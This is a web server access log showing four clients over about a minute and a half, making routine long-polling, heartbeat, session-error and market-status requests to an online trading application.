[09/Jan/2026:11:22:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:22:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929217343 HTTP/1.1" -
[09/Jan/2026:11:22:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929217420 HTTP/1.1" -
[09/Jan/2026:11:22:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929221617 HTTP/1.1" -
[09/Jan/2026:11:22:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929236237 HTTP/1.1" -
[09/Jan/2026:11:22:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929222364 HTTP/1.1" -
[09/Jan/2026:11:22:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929222478 HTTP/1.1" -
[09/Jan/2026:11:22:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929226747 HTTP/1.1" -
[09/Jan/2026:11:22:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929227402 HTTP/1.1" -
[09/Jan/2026:11:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929242233 HTTP/1.1" -
[09/Jan/2026:11:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:22:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929227565 HTTP/1.1" -
[09/Jan/2026:11:22:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929231942 HTTP/1.1" -
[09/Jan/2026:11:22:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929232452 HTTP/1.1" -
[09/Jan/2026:11:22:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929248237 HTTP/1.1" -
[09/Jan/2026:11:22:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929232660 HTTP/1.1" -
[09/Jan/2026:11:22:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929237190 HTTP/1.1" -
[09/Jan/2026:11:22:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929237496 HTTP/1.1" -
[09/Jan/2026:11:22:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:22:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:22:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:22:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:22:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929237775 HTTP/1.1" -
[09/Jan/2026:11:22:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929254225 HTTP/1.1" -
[09/Jan/2026:11:22:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929242309 HTTP/1.1" -
[09/Jan/2026:11:22:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:22:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929242535 HTTP/1.1" -
[09/Jan/2026:11:22:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929242798 HTTP/1.1" -
[09/Jan/2026:11:22:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929247367 HTTP/1.1" -
[09/Jan/2026:11:22:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929260235 HTTP/1.1" -
[09/Jan/2026:11:22:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:22:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929247553 HTTP/1.1" -
[09/Jan/2026:11:23:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929247825 HTTP/1.1" -
[09/Jan/2026:11:23:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929252433 HTTP/1.1" -
[09/Jan/2026:11:23:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929266236 HTTP/1.1" -
[09/Jan/2026:11:23:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929252572 HTTP/1.1" -
[09/Jan/2026:11:23:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929252900 HTTP/1.1" -
[09/Jan/2026:11:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929257604 HTTP/1.1" -
[09/Jan/2026:11:23:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929257591 HTTP/1.1" -
[09/Jan/2026:11:23:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929272232 HTTP/1.1" -
[09/Jan/2026:11:23:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929258003 HTTP/1.1" -
[09/Jan/2026:11:23:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929262778 HTTP/1.1" -
[09/Jan/2026:11:23:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929262640 HTTP/1.1" -
[09/Jan/2026:11:23:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929278230 HTTP/1.1" -
[09/Jan/2026:11:23:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929263029 HTTP/1.1" -
[09/Jan/2026:11:23:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929267905 HTTP/1.1" -
[09/Jan/2026:11:23:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929267666 HTTP/1.1" -
[09/Jan/2026:11:23:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:23:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:23:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929284235 HTTP/1.1" -
[09/Jan/2026:11:23:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929268099 HTTP/1.1" -
[09/Jan/2026:11:23:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929273069 HTTP/1.1" -
[09/Jan/2026:11:23:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:23:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929272696 HTTP/1.1" -
[09/Jan/2026:11:23:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929273128 HTTP/1.1" -
[09/Jan/2026:11:23:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929278132 HTTP/1.1" -
[09/Jan/2026:11:23:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929290223 HTTP/1.1" -
[09/Jan/2026:11:23:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:23:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929277724 HTTP/1.1" -
[09/Jan/2026:11:23:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929278169 HTTP/1.1" -
[09/Jan/2026:11:23:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929283197 HTTP/1.1" -
[09/Jan/2026:11:23:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929296231 HTTP/1.1" -
[09/Jan/2026:11:23:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929282751 HTTP/1.1" -
[09/Jan/2026:11:23:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929283228 HTTP/1.1" -
[09/Jan/2026:11:23:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929288342 HTTP/1.1" -
[09/Jan/2026:11:23:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929302225 HTTP/1.1" -
[09/Jan/2026:11:23:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929287796 HTTP/1.1" -
[09/Jan/2026:11:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:23:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929288281 HTTP/1.1" -
[09/Jan/2026:11:23:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929293485 HTTP/1.1" -
[09/Jan/2026:11:23:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929292828 HTTP/1.1" -
